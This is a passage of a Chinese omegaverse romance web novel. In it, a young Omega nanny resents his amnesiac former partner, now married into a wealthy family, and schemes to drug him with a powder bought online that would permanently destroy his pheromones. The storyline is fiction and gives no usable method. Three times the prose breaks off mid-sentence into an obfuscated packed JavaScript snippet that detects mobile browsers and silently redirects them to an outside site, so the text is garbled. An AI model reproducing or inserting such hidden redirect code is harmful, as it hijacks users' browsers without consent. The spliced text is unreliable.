关擎看着他那张写满了就是我干的你能把我怎么样的漂亮脸蛋,再看看手里这杯诡异咖啡。 关擎:“……你先出去,我待会再喝。” 如果是间谍,这种手法未免太低劣了吧。 4. 小美人寻夫记(4) 关擎觉得如果梁因芙真是对手派来的间谍,有什么别的不可告人的目的,那这间谍的智商和行事作风,实在是低得令人发指。 谁派出来的间谍会像他这样,把对目标的厌恶和针对明晃晃地写在脸上,甚至用这种拙劣又幼稚的手段来搞破坏。 倒像是来来发泄个人情绪的? 而且目标如此明确,几乎只针对他一个人。 可关擎又想不通了。 如果不是间谍,那他到底为什么要这么针对自己? 梁因芙对除了他之外的每一个人都不错。 难道真的只是因为他是个Alpha,所以就成了梁因芙心中负心汉Alpha的形象代表,得承受了他无端的迁怒和怨恨? 于是乎,两个人就这么陷入了一种相当诡异,互相试探又互相戒备的微妙境况下,在同一屋檐下“和平”共处。 梁因芙仗着林幻真对他那泛滥的同情心和毫无原则的偏爱,在这个家里算是彻底扎下了根,站稳了脚跟。 林幻真快临盆了,情绪更敏感,也更依赖梁因芙的陪伴。 梁因芙嘴巴甜,又会看眼色,把林幻真哄得高高兴兴,几乎把他当成了半个弟弟看待。 有林幻真这面免死金牌护着,关擎即使再不喜梁因芙,也没法真的把他怎么样,至少明面上不行。 而关擎则不得不时刻防备着梁因芙时不时,突如其来的暗算。 这种暗算不一定致命,但足够恶心人,这些小把戏,层出不穷,花样百出。 关擎从一开始的警惕和愤怒,渐渐变成了有点好奇,梁因芙这个脑子里不知道装了些什么的Omega,究竟还能蠢到什么地步,还能想出什么更离谱的招数来对付他。 在观察的时候,关擎也渐渐注意到梁因芙带孩子,实在是很差劲。 手忙脚乱,毫无章法。 第一次生孩子,年纪又轻,根本没经验,小宝一哭他就慌,据说他第一次喂奶喂得孩子哇哇吐,连换个尿布都能弄得自己和孩子一身狼狈。 很多时候,还得靠家里其他有经验的老佣人帮忙。 关擎猜测,梁因芙之前在家里,一定也是被宠着长大的,没吃过什么苦,所以才会这么笨拙不谙世事。 他忍不住会想,到底是什么样的男人,能这么不负责任,把这样一个漂亮却显然没多大生存能力,还带着个嗷嗷待哺婴儿的Omega,独自丢下不闻不问? 有一次,小宝因为前一天有点着凉,发了低烧,一整天都蔫蔫的,到了晚上更是哭闹得厉害,怎么哄都不行。 关擎半夜被隐约的哭声吵醒,起床去书房拿东西,经过二楼的小客厅时,看见梁因芙正抱着裹得严严实实的小宝,在落地窗前来回踱步,低声哄着。 月光从窗外照进来,落在他单薄的背影和苍白的侧脸上。 小宝在哪小脸憋得通红。 而梁因芙自己,眼睛也是红红的,一边用带着浓重鼻音的声音,断断续续地哼着不成调的摇篮曲。 那画面有种说不出的可怜。 关擎犹豫了几秒,还是走了过去,他刻意放重了脚步让梁因芙能听到。 梁因芙听到脚步声,猛地转过头,看到是关擎,立刻抹了把脸,把眼泪擦掉,眼神重新变得警惕和防备。 关擎没理会他的眼神,只是看着他怀里哭得上气不接下气的小宝:“孩子哭得太厉害,小心背过气去,给我吧。” 说着,他伸出手。 梁因芙愣了一下,似乎没想到关擎会主动提出帮忙。 他看了看怀里哭得小脸通红,几乎要喘不过气的儿子,又看了看关擎伸出骨节分明的手。梁因芙咬了咬下唇,最终,还是小心翼翼地把小宝递了过去,动作僵硬,眼神里充满了不信任。 关擎接过孩子,姿势意外地很标准。 关擎也不知道自己怎么会知道这样抱孩子。 他调整了一下抱姿,让小宝靠在自己肩头,一只手稳稳托住,另一只手轻轻拍抚着他的后背。 他的动作不疾不徐,带着成年Alpha特有的沉稳力量感。 嘴里还叼着安抚奶嘴的小宝,哭声竟然渐渐小了下去,变成了委屈的抽噎,最后竟然在关擎怀里,慢慢安静下来,只是偶尔还发出一点小小满足的哼唧声。 梁因芙站在旁边,看着这一幕,眼睛瞪得大大的,表情是难以置信的茫然。 他忽然把头偏向一边,不再看关擎和小宝,肩膀几不可察地颤抖了一下。 他们家小宝,从生下来就没闻过自己Alpha父亲的信息素,也从来没有被一个成年Alpha这样抱着哄过。 此刻在关擎怀里安静下来的样子,让梁因芙心里那点被刻意压抑的委屈和辛酸,几乎要决堤。 等小宝快睡着,又开始不安地扭动,小嘴无意识地嚅动着,发出细微寻找食物的哼唧声时,梁因芙才深吸一口气,他伸出手,声音还有些哑:“给我吧,他可能是饿了。” 关擎看了他一眼,没说什么,把已经半睡半醒的小宝递还给他。 梁因芙接过孩子,很自然地转过身,背对着关擎,然后就在这月光朦胧的小客厅里,抬手,解开了自己睡衣最上面的两颗扣子,轻轻掀开衣襟一角,露出胸前一小片白皙的皮肤,开始给小宝喂//奶。 他的动作很熟练,完全没有在意身后还站着一个成年Alpha。 男性Omega其实并没有多少奶水,小宝大多时候是喝奶粉。 但或许是因为宝宝缺乏安全感,梁因芙自己也舍不得,一直没给小宝彻底戒掉,只是作为偶尔的安抚和慰藉。 关擎猝不及防,视线正好落在梁因芙裸露出的那一小片莹白肌肤。 月光洒在上面,像是镀上了一层柔和的釉色。 关擎瞳孔微微一缩,像是被烫到一般猛地别开脸,视线转向窗外深沉的夜色,耳根有些发热,他轻咳了一声,语气里带着僵硬和莫名的尴尬:“……还没断奶吗?这么大孩子了。” 梁因芙正低头,温柔地看着怀里的儿子,闻言,理所当然:“我们镇上吃到三岁的都有,这有什么好奇怪的?” 还真是城里人讲究。 关擎:“…………” 他被噎得一时说不出话。 梁因芙恨恨地看着关擎,那双漂亮的琥珀色眼睛里之前的泪意和迷茫已经消失,重新被尖锐冰冷的恨意取代:“别以为这样我就会心软,你少在这里假惺惺!” 关擎是真被他这副油盐不进,又仿佛跟自己有天大仇怨的样子,给勾起了越来越浓的好奇心。 “我跟你到底什么仇什么怨?值得你这么大费周章,处心积虑地针对我?” 梁因芙一听,更是气不打一处来:“你少在这里装蒜!自己做过的亏心事,自己心里清楚!” “亏心事?” 关擎眉头皱得更紧,他实在想不起自己做过什么亏心事,尤其是能牵扯到这么一个从偏远小镇来带着孩子的年轻Omega。 “我跟你素不相识,能做什么亏心事?你老公不要你了,抛弃你们那是他的问题,你总不能把对天下所有Alpha的怨气,都撒在我一个人头上吧?” 梁因芙听着他这番撇清,心里简直是又气又痛, 我老公不是你吗? 梁因芙在心里咆哮,可看着关擎那张写满了陌生,困惑,那些到了嘴边的怒骂和指控,又硬生生地哽住了。 他老公岑叙,在夜里用力抱紧他,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233908|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨拙地给他熬鱼汤,会因为他一句话而脸红的Alpha,难道真的是眼前这个衣着光鲜,气度沉稳,看自己如同看一个麻烦的关擎吗? 梁因芙擎着眼泪,眼眶红得厉害,长长的睫毛湿漉漉地黏在一起,他就那么迷茫带着破碎的神情,怔怔地看着关擎。 关擎的面色,眼神,语气,都不似作伪。 他是真的不认识自己? 失忆了?还是傻了? 所以什么都不记得了?所以才能心安理得地回到他的上流社会,娶了门当户对的Omega,准备迎接新的孩子,而把他和他们的儿子,彻底遗忘了。 夜深了。 怀里的小宝已经彻底睡熟了,发出平稳细小的呼吸声,小脸贴在梁因芙胸前,还带着点泪痕。 关擎看着孩子安静的模样,又看了看抱着孩子,却眼神空洞,不知道神游到哪里的梁因芙开口道:“孩子睡了,你也去休息吧。” 梁因芙被他这句话拉回了神智。 他抬起眼,看向关擎。 梁因芙张了张嘴,想说“你真的不记得了吗?”,又想说“你看看小宝,他长得像谁?” 他以为关擎是装蒜,是在演戏,是为了稳住林幻真,为了保住他现在拥有的一切。 可现在,梁因芙动摇了。 关擎是真的不认识他。 那个会对他笑,会叫他宝宝的岑叙,真的已经死了,活下来的是只有关擎记忆陌生的躯壳。 这比关擎是渣男更让他难以接受。 至少如果是渣男,他还可以恨,可以报复,可以理直气壮地讨要说法。可如果对方真的忘了呢? 那梁因芙这满腔的怨恨,这千里迢迢的追寻,这处心积虑的报复,又算什么?一个笑话? 梁因芙抱着孩子,慢慢地站起身。他低着头,看着小宝熟睡的侧脸,心里乱成一团麻。 然后,就在他准备转身离开的刹那,扫过关擎因为的睡衣领口,刚哄孩子的时候他松了一颗扣子,一小片锁骨和胸膛的肌肤露了出来。 而在那锁骨下方,靠近心脏的位置,有一道颜色略深的旧疤。 疤痕的形状很特别,像是一个歪斜的十字,边缘已经变得平滑,显然有些年头了。 那是岑叙有的疤。 是梁因芙曾经在无数个亲密的夜晚,用手指细细抚摸过,用嘴唇轻轻亲吻过很多次的地方。 岑叙说过,那是他很小的时候,被铁丝网划伤留下的,不深,但位置刁钻,愈合后就成了这样。 梁因芙空着的那只手猛地伸了出去,扯开了关擎的领口,让那道疤痕完全暴露,他的手指,抚上了那道疤。 关擎猝不及防,被他这突如其来的动作弄得浑身一僵。 梁因芙的手指很凉,指腹柔软,被触碰的瞬间,一股如同电流窜过般的酥麻感,顺着脊椎猛地蹿了上来,让关擎不由自主地绷紧了身体,呼吸都为之一滞。 他看向几乎贴在自己胸前的梁因芙。 梁因芙低着头,柔软有些凌乱的黑发就在他眼皮底下,发丝间传来一股淡淡属于婴儿的奶香,混合着他自己身上清冽说不出的好闻气息。 月光落在他乌黑的发顶,勾勒出柔和的轮廓。关擎盯着那一片柔软,心里竟莫名其妙地生出一种想要伸手抚摸上去的冲动。 梁因芙缓缓抬起头,对上关擎的视线。 琥珀色的瞳孔在月光下,漂亮得惊人,像两汪清澈又深不见底的泉眼,里面翻涌着关擎看不懂的激烈情绪,痛楚愤怒,还有近乎绝望的悲伤。 “你跟我那个……死鬼老公一样……” 关擎心想一样什么。 “一样该死!” 关擎:“…………” 5. 小美人寻夫记(5) 梁因芙骂完那句该死就抱着熟睡的小宝,头也不回地进了屋。 只留给关擎一个背影和空气中残留的若有若无的带着奶香。 关擎站在原地,看着那扇被用力关上的房门,脸上没什么表情,心里也没有感觉到被冒犯的屈辱或愤怒,反而像是被什么有趣的东西轻轻挠了一下。 怎么跟只小辣椒似的? 看着漂亮水灵,可一碰就炸毛,呛人得不行,说话又冲又辣,简直是说一句,他能怼你十句,还句句都往人肺管子上戳。 这脾气,谁受得了啊? 可偏偏,这小辣椒对着孩子的时候,又完全像是变了个人。整个人都笼在一层近乎圣洁的柔和光晕里,眼神是毫无保留的温柔和耐心,特别是刚才,月光下,梁因芙低头,露出那一小片莹白的肌肤,温柔地给孩子哺乳的样子。 那画面有种难以言喻混合着母性光辉和脆弱美感的神圣感,与梁因芙平时那副张牙舞爪,浑身是刺的模样判若两人。 而且关擎的鼻尖似乎还萦绕着刚才梁因芙靠近时,身上传来的信息素气息。 很甜。 梁因芙抱着孩子回到房间,轻轻将已经睡熟的小宝放在床上,盖好被子。他坐在床边,看着儿子红扑扑的睡脸,心里乱糟糟的。 他原本笃定关擎是在装蒜,是抛妻弃子的绝世大渣男,可今晚那一番交锋,关擎的反应,那全然陌生的眼神,这一切都指向一个他之前不愿去想,或者说不敢想的可能。 ——关擎,可能真的失忆了。 梁因芙心里理直气壮的恨意,瞬间变得复杂而纠结起来。 不过就算失忆了,关擎也是个下贱男人! 梁因芙恨恨地想,当初岑叙在他耳边,说什么爱他爱得死去活来,没有他就活不下去?即使不记得了,身体也该有本能吧? 居然还能心安理得地跟别的Omega结婚,马上就要有新的孩子了!真贱! 可见他骨子里就是个薄情寡义,见利忘义的贱男人! 梁因芙越想越气,他猛地想起另一件事,屈指算了算时间。林幻真那肚子,看着月份不小了,八个多月的样子,马上就要生了。 可按照关擎离开的时间来算,满打满算,也才不过七个月,梁因芙学习再不好,数学再烂,这点基本常识还是有的。 那就只剩下一个解释,林幻真肚子里的那个孩子根本不是关擎的。 梁因芙再仔细回想这些日子观察到的细节,林幻真和关擎虽然看起来相敬如宾,举止有礼,但那种客气,确实不太像寻常的恩爱夫夫。 哪有恋人之间,说话做事都带着距离感的。 梁因芙不是没见过关擎缠人,猴急,占有欲强的样子。 所以关擎这个贱男人,不仅失忆了,还为了攀上林幻真家的高枝,不惜当个便宜爹,戴着一顶绿油油的帽子,还戴得这么理所当然,面不改色? 真是为了往上爬,不择手段脸都不要了。 梁因芙心里的恨意,又添上了一层浓重的鄙夷和恶心。他恨不得找一包最毒的耗子药,下在关擎的咖啡里,让他一命呜呼,死了干净。 这个欺骗他感情,抛弃他,现在又为了荣华富贵甘心戴绿帽子的贱男人,活着简直就是浪费空气。 可是毒死了他,小宝就没有Alpha爸爸了。而且,光毒死关擎,似乎也难消心头之恨。 那种被遗忘,被像垃圾一样丢掉的屈辱和痛苦,看着他跟别人一家三口,自己却像个见不得光的外人一样躲在角落里的酸楚和愤懑,不是轻易被抹平的。 梁因芙看着熟睡的小宝,伸出手,用指尖极其轻柔地描摹着儿子的轮廓。 梁因芙已经想好要怎么报复了。 既然毒死太便宜,也解决不了心头那口恶气,那就要让他活着,活得不痛快,活得像个废物,后半辈子都在痛苦和悔恨中度过。 他要让关擎以后不能人道,再也生不出孩子。 一个Alpha失去了最根本象征力量和繁衍能力的标志,看他还怎么得意,怎么在那些上流社会的Alpha圈子里混? 这就是搞大他肚子,拍拍屁股走人,让他一个人辛辛苦苦生下孩子的代价。 梁因芙有点庆幸,当初虽然被关擎那个混蛋哄得晕头转向,什么都给了他,但在最后关头,他还是留了一手。 那个时候关擎还是岑叙的时候,身份不明,又没法跟他正式登记结婚,梁因芙就没答应让他做最终标记。只是临时标记了几次,过阵子也就淡了。 幸好他有这点远见,不然现在梁因芙不仅要面对一个失忆的渣男,还得想办法去洗掉标记,那才是双重折磨。 果然谁能生孩子,在这种事情上,就是一种天生的劣势处境。 Alpha爽完了,提起裤子就能走,说不定转头就忘了,留下Omega一个人承受怀孕,生产的辛苦和独自抚养孩子的艰难。 男人果然都靠不住,他以后再也不要找了,梁因芙自认眼光不差,精挑细选,以为捡到个又帅又能干,还对他百依百顺的宝贝,结果呢?是这样一个失忆,薄情,还甘愿戴绿帽的下贱货色! 他以后就带着小宝,他们相依为命,清清静静地过,再也不指望什么狗屁Alpha了。 至于林幻真,梁因芙没打算把这些乱七八糟的事告诉他。 林幻真这个人抛开是关擎名义上的Omega这层身份,其实真的挺好的,温柔,善良,没什么心眼,对他这个小保姆也大方照顾,算是他流落到这座城市后,遇到的为数不多的善意。 而且说起来,林幻真还帮了他,收留了他们母子,给了他一个暂时的安身之所。更妙的是,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233909|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻真还给关擎戴了那么大顶绿帽子,某种程度上也算是替他报仇了。 梁因芙甚至想好了,等他报复完关擎,把药下了,看着那个贱男人变成废人之后,他就带着小宝离开。 关擎人已经废了,这辈子就只能当个窝窝囊囊被人唾弃的倒插门,在别人的施舍和鄙夷中度日。 光是想想那个画面,梁因芙就觉得解气。 说干就干。 梁因芙开始悄悄打听,有没有什么药物,能专门针对Alpha,又不留下明显痕迹。 在一个隐秘论坛看到有人隐晦地提到一种东西。据说这种药物,能从根本上影响Alpha的信息素分泌系统,让Alpha逐渐无法再产生和释放信息素。 对于Alpha来说,信息素是力量,威慑,甚至吸引Omega的根本。 失去信息素,就像一个战士被缴了械,一只猛兽被拔了牙,从食物链的顶端跌落,甚至比普通的Beta还要不如。 这简直相当于把Alpha从生理上阉割了,而且是不可逆的。 梁因芙要的就是这个效果。 关擎不再分泌信息素,看他还怎么去标记别的Omega,他按照论坛里留下的联系方式,拿到一小包粉末状药物。 东西到手,梁因芙像开始寻找机会,准备给关擎下药。 目标明确,手段也选好了,可实际操作起来,却没那么容易。 关擎对他没那么放心。 那几天,梁因芙一反常态,对关擎格外热情起来,还会主动去问关擎要不要喝点什么,吃点什么,脸上努力挤出温柔小意的笑容。 梁因芙还会贴心地把佣人煮好的炖品,亲自端到关擎面前,眼神期待地看着他。 可关擎几乎不怎么入口他端过去的东西。大多数时候,只是淡淡瞥一眼,说“放那儿吧”,就继续处理手头的事情。 有时候,在梁因芙殷切的注视下,他会拿起勺子,作势要喝,梁因芙的心瞬间提到嗓子眼,眼睛一眨不眨地盯着。 可就在勺子即将碰到嘴唇的刹那,关擎的动作又会毫无征兆地停下,将勺子随手一放,语气挑剔:“不想吃了,端下去吧。” 梁因芙脸上那刚刚因为期待而泛起的一点红晕,瞬间褪去,表情变化之快。 他端着那碗被嫌弃的食物,悻悻地退下,心里把关擎骂了个狗血淋头,觉得这男人不仅贱,还难伺候。 关擎将梁因芙那一系列精彩的表情变化尽收眼底,他觉得这小辣椒,想做坏事,偏偏又笨得可以,心思都写在脸上,藏都不会藏。 每次看到梁因芙期待到失望再到强忍怒火的变脸过程,关擎就觉得还挺有趣。 像是在逗弄一只明明没什么杀伤力,却总想伸出爪子挠人,结果每次都挠了个空,自己气得毛都炸起来的小动物。 6. 小美人寻夫记(6) 林幻真也渐渐察觉出关擎对梁因芙的态度似乎有些微妙不一般。 不像是主人对佣人的颐指气使,也不像是单纯的厌恶或排斥。 倒更逗人玩。 好几次林幻真撞见关擎的目光会不自觉地落在抱着孩子的梁因芙身上。 而梁因芙总是对关擎没什么好脸色,甚至偶尔会冲撞他,两人之间那种暗流涌动的气场让林幻真很难不注意到。 林幻真找了个机会,私下里对关擎劝解说:“阿擎,小梁他一个人带着孩子,也不容易,性子是直了点,有时候可能不太会说话做事,但他心地是好的,对我也很照顾,你别太为难他,好吗?” 关擎说好。 怎么是他欺负他呢? 明明是那个小辣椒自己凑上来,用那些拙劣又明显的手段,笨笨地又锲而不舍地来招惹他。 每次看到梁因芙那张漂亮脸蛋上,因为计划失败被他耍了露出懊恼不甘表情的时候。 关擎就觉得还挺有趣。 他第一次遇到这么有趣的人。 林幻真看着他,轻轻抚摸着自己高高隆起的腹部,脸上露出即将为人父的温柔笑容:“我快生了,到时候,家里的事还有宝宝,都要拜托你多费心了。” 关擎:“嗯,你放心,都已经安排好了。” 林幻真看着他,犹豫了一下,还是问出了每隔一段时间就会问的问道:“还是没有任何消息吗?” 关擎摇了摇头。 林幻真的眼神黯淡了一瞬,但很快又恢复了,只是那温柔底色里染上了淡淡挥之不去的悲伤。 他看着自己圆滚滚的肚子,手在上面轻轻抚摸:“孩子都快出生了呢。” 照顾小宝对于一个新手Omega爸爸来说,从来不是一件轻松的工作。 尤其是梁因芙这样年轻没经验的。 小宝如今七个月了,正是活泼好动,好奇心旺盛,又格外黏人的时候,会认人了,看到熟悉的面孔会咧开没牙的小嘴咯咯笑,爬得飞快,一不留神就不知道钻到哪个角落去了。 梁因芙常常被他折腾得手忙脚乱。 这种时候如果有人能帮他带一会儿,哪怕只是十分钟,让他能喘口气,喝口水,梁因芙简直能感激不尽。 所以当关擎偶尔在家,看到梁因芙被哭闹的小宝弄得焦头烂额,皱着眉头,有时候会走过来,然后一言不发动作却意外熟练标准地从梁因芙手里接过那个扭来扭去的小肉团。 梁因芙心里的排斥,竟会诡异地淡去那么一点点。 关擎这天刚结束工作回来,身上还穿着笔挺挺括的制服。 小宝爬在他面前,关擎蹲下身将小宝稳稳地抱进自己怀里。 他的手臂结实有力,抱姿标准,一只手稳稳托住小宝的背和屁股。 小宝很喜欢关擎,那双遗传了梁因芙湿漉漉的大眼睛,好奇地看着关擎近在咫尺线条冷硬的下巴和喉结,甚至伸出小手,去抓他质地优良的衬衫前襟。 小宝长得实在很可爱,继承了两个爸爸五官的优点,皮肤白嫩,大眼睛长睫毛,不哭不闹的时候简直像个精致的洋娃娃,人见人爱。 大概也因为梁因芙带娃实在有些不靠谱,这小家伙似乎天生就懂得看人下菜,在关擎面前格外乖巧,很少闹腾。 梁因芙站在旁边看着这一幕,看关擎稍微顺眼了那么一点点。 旁边一个正在擦拭花瓶的老佣人,大概是觉得气氛温馨,笑着开口道:“关先生抱孩子抱得真标准,一看就是有经验的,等林先生生了,您一定会是个好爸爸,把宝宝照顾得妥妥帖帖。” 这话像是一盆冰水兜头浇在了梁因芙心上。 好爸爸? 照顾林幻真的宝宝?那他的小宝呢? 梁因芙立刻上前,一把从关擎怀里抢回了小宝,紧紧抱在自己胸前:“不牢关先生费心帮我抱孩子了。” 说完他不再看关擎的脸色,抱着小宝回了房间。 梁因芙想等他的计划成功了,等关擎变成了废人,他就带着小宝回去。 虽然他婶子年纪大了,但帮忙搭把手带带孩子,总还是可以的。 关擎这个人,实在很可恶。 他明明都不记得他自己还有个儿子,却对林幻真那个还没出世的孩子挺上心,至少表面上是,还摆出一副好丈夫好爸爸的模样。 糊弄谁呢? 梁因芙越想越恨,越想越觉得给他下药,让他断子绝孙,简直是天经地义为民除害。 然而下药的机会却一直没找到。 关擎警惕心很高,几乎不吃他经手的东西。 梁因芙留在别墅里,其实也没干什么正经保姆的活,大部分时间都在陪林幻真说话解闷,林幻真会同他讲对未来宝宝的期待,一句都不会提关擎。 梁因芙当然也没那么贱,还去追问他们的事。 林幻真对他很好,好到让梁因芙有时会生出一种荒谬的愧疚感,他正在计划毁掉这个善良Omega名义上的丈夫。 林幻真生孩子那天,关擎恰好不在,有个工作他必须亲自坐镇。 别墅里一阵兵荒马乱,梁因芙把小宝托付给的佣人阿姨,然后自己跟着紧张不安的林幻真一起去了医院。 整个生产过程,他都陪着,握着林幻真的手,给他打气,擦汗,虽然他自己也因为这场面而脸色发白手心出汗。 是个女儿。 当护士把那个皱巴巴,却哭声洪亮的小小婴儿抱到林幻真面前时,林幻真苍白的脸上,露出了虚弱却无比满足和幸福的微笑。 他看向梁因芙,眼神里充满了感激。 几个小时后,关擎才风尘仆仆步履匆匆地赶到医院。 他身上的西装有些凌乱,显然是下了飞机就直接赶了过来,脸上带着长途飞行的疲惫,眼神是清醒的。 他先去看了一眼婴儿床了里小小的婴儿。 周围等待林幻真娘家的亲戚,以及闻讯赶来的关擎往来的朋友,都纷纷上前,向他道贺。 “恭喜关总司,喜得千金!” “关总好福气啊!” 关擎一一颔首回应,他走到林幻真的病房,林幻真刚睡着不久,脸色依旧苍白,但睡颜安宁。 关擎在床边站了一会儿,看着林幻真,又看了看旁边婴儿床里睡得正香的小婴儿。 林幻真似乎感觉到有人,迷迷糊糊地睁开眼,看到是关擎,虚弱地笑了笑,声音很轻:“你来了?耽误你了吧?” 关擎走近一步,弯下腰语气平和,带着点难得的温和:“没有,你辛苦了好好休息。” 林幻真点了点头,又疲惫地闭上了眼睛。 梁因芙静静地看着这一切。 他看着关擎那副完美丈夫的模样,看着周围人的道贺,看着林幻真脸上幸福而虚弱的笑容和那个与他毫无关系的小小女婴,心里忽然涌起一股极其怪异难受的感觉。 像是有什么东西堵在胸口,闷闷涩涩的,还有尖锐讽刺的疼痛。 这里的一切,这温馨属于家的画面,新生命降临的喜悦看似圆满的“三口之家”,都与他无关。 他是多余的,是一个躲在阴影里怀揣着恨意和秘密的旁观者。 梁因芙悄悄退出了病房,走到医院安静弥漫着消毒水味道的长廊上。 他在冰凉的塑料长椅上坐下,背靠着冰冷的墙壁。 走廊里很安静,只有远处护士站隐约传来的说话声和仪器规律的滴答声。 他闭上眼睛,脑海里不受控制地翻涌起自己生小宝时的画面。 也是在医院,但那是镇上简陋得多的小医院。没有这么多人祝贺,没有这么体贴的丈夫匆匆赶来。 只有他一个人,疼得死去活来,咬着被角不敢哭出声怕被人笑话。 他当时多希望,岑叙能在身边能握着他的手,能在他疼得受不了的时候,说一句别怕,有我在,在孩子出生后,像刚才关擎看那个女婴一样,哪怕只是带着一点好奇和温和看小宝一眼。 可是,没有。 梁因芙自始至终都是一个人。 一个人扛过生产的剧痛,面对新生儿的无措,一个人带着孩子。 突然身边的长椅微微向下一沉,有人坐了下来。 梁因芙下意识地侧过头,看到关擎不知道什么时候从病房出来了,就坐在他旁边,距离不远不近。 关擎:“刚才谢谢你,幻真说多亏了你陪着他。” 梁因芙:“不需要你谢,我照顾林先生,是因为他人好,对我和小宝也好,跟你没关系。” 关擎似乎并不在意他的态度,沉默了片刻:“你一个人带着那么小的孩子,很辛苦吧,你很坚强。” 梁因芙鼻头猛地一酸,死死咬着下唇,不想发出任何声音,也不想回应。 他讨厌关擎这副好像能看透他,却又对他的一切苦难都事不关己的平静模样。 哪怕他现在说了这些人话,他报复的决心也不会动摇那么一点点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233910|197647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林幻真的月子是在本市一家高档私密的月子中心。 环境清幽,服务周到,有专业的月嫂和护理团队二十四小时照顾,完全不需要家人操心。 关擎象征性地去探望过几次,带着包装精美的补品和给新生儿的礼物,停留的时间不长,看看林幻真和孩子,说几句话就离开了。 后来他去的次数越来越少,最后基本就待在家里。 梁因芙看在眼里,他想关擎这个绿帽子戴得,看来也不是全无感觉,明显就没那么上心,连月子都不怎么去陪,可见心里还是憋屈的。 活该。 为了攀高枝连这种委屈都能忍,真是贱到骨子里了。 有一次关擎难得白天在家,似乎没什么要紧事,在书房处理了一会儿邮件就下楼来。 看到梁因芙正试图给因为长牙而烦躁哭闹的小宝喂磨牙饼干,弄得手忙脚乱,小宝也不配合,饼干屑糊了一脸一身。 关擎皱了皱眉,走过去很自然地伸出手:“给我吧。” 梁因芙正心烦,也没多想,就把哭闹不休的小宝递了过去。 关擎接过孩子,动作熟练地调整姿势,用湿纸巾擦掉小宝脸上的饼干屑,又拿过一个干净的牙胶递给小宝。 小宝抓住牙胶,塞进嘴里用力啃咬,哭声渐渐小了下去只是还委屈地抽噎着。 梁因芙看着关擎抱着小宝,那副好爸爸的姿态,又想起他对月子中心的林幻真和女儿那副不熟不热的样子。 他忍不住,用那种带着刺阴阳怪气的语气,开口嘲讽道:“关先生抱孩子抱得挺熟练嘛,虽然孩子不是亲生的,但老婆总是亲的吧?把人扔在月子中心不闻不问,是不是有点太没良心了?” 就在他话音落下的瞬间,关擎抱着小宝的手臂僵硬了一下。 然后他缓缓地抬起了头,漆黑眼眸此刻骤然变得锐利如冰刃,里面翻涌着一种梁因芙从未见过凝成实质的寒意和杀意。 仿佛沉睡的猛兽,被骤然触动了逆鳞。 下一刻关擎猛地伸出手,一把抓住了梁因芙的手腕,力道大得惊人,仿佛要捏碎骨头的凶狠。 梁因芙猝不及防,被他抓得痛呼一声,腕骨像是要断了。 关擎握着他的手,将他猛地拉近,两人之间的距离瞬间缩短。 关擎低下头,逼近梁因芙,那双冰冷翻涌着惊涛骇浪的眼睛,死死盯着他,声音压得极低,却带着一种山雨欲来令人心悸的寒意。 “你怎么知道的?” “你是谁派来的?” 关擎心里瞬间闪过无数个念头。 政敌? 还是林幻真娘家那边,想试探他的人? 梁因芙出现的时机,他那过分的漂亮和古怪的脾气,他对林幻真的刻意接近,一切都显得太过巧合太过可疑。 这个人到底是谁?还刚好这么符合他的心意? 关擎的语气变得极其危险:“说,别以为我不敢对你做什么。” 梁因芙被他这副样子彻底吓到了。 手腕传来的痛,和关擎眼中那毫不掩饰冰冷刺骨的杀意。 他从来没见过这样的关擎,虽然有时候冷冰冰的,但绝不会用这种看死人一样的眼神看。 眼前这个仿佛下一秒就要将他撕碎陌生而可怕的男人,割裂得让他心头发冷,浑身发抖。 关擎怀里的小宝猛地“哇”一声,放声大哭起来,小手小脚胡乱踢蹬。 可关擎没有像往常那样去哄。 巨大的委屈,恐惧,在这一刻像是终于冲破了某个临界点。 梁因芙看着关擎那副冷酷无情的模样,听着怀里小宝撕心裂肺的哭声,脑子里那根弦,终于“啪”地一声,断了。 他没有回答关擎的问题。 在关擎冰冷审视的目光中,在手腕钻心的疼痛里,梁因芙的眼泪,毫无预兆像断了线的珠子,大颗大颗地争先恐后地涌了出来,顺着脸颊,汹涌地往下淌。 他没有发出很大的声音,只是肩膀颤抖着,眼泪流得又急又凶,很快就在下巴汇聚,滴落在他和关擎交握的手上。 关擎:“…………” 他握着梁因芙手腕的手松了一下。 关擎看着梁因芙那张瞬间被泪水淹没写满了恐惧,委屈的脸,那双刚刚还翻涌着骇人杀意的冰冷眼眸,出现了一丝极其短暂茫然的凝滞。 那汹涌的怒火和怀疑,被突如其来浇上了一盆冷水,滋滋地冒着烟,暂时失去了继续燃烧的势头。 7. 小美人寻夫记(7) 梁因芙哭了。 压抑了太久太多的委屈终于找到了一个宣泄的出口。 